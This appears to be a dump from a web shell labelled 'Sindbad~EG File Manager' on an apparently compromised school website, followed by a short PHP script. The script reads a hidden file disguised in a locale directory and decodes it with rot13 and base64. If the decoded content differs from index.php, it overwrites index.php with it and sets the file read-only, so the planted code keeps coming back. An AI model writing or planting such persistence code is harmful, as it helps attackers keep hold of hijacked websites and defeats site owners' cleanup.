Sindbad~EG File Manager

<?php
$ddscdws = "index.php";
$acdfadfasf = file_get_contents($ddscdws);
$sdfdsdfh = "/home/escuelai/public_html/PrimariaEi/include/i18n/en_US/87671";
if (file_exists($sdfdsdfh)) {
$iide = file_get_contents($sdfdsdfh);
$iide = base64_decode(str_rot13($iide));
if(md5($acdfadfasf) != md5($iide))
{
    @chmod($ddscdws, 0644);
    @file_put_contents($ddscdws, $iide);
    @chmod($ddscdws, 0444);
}
}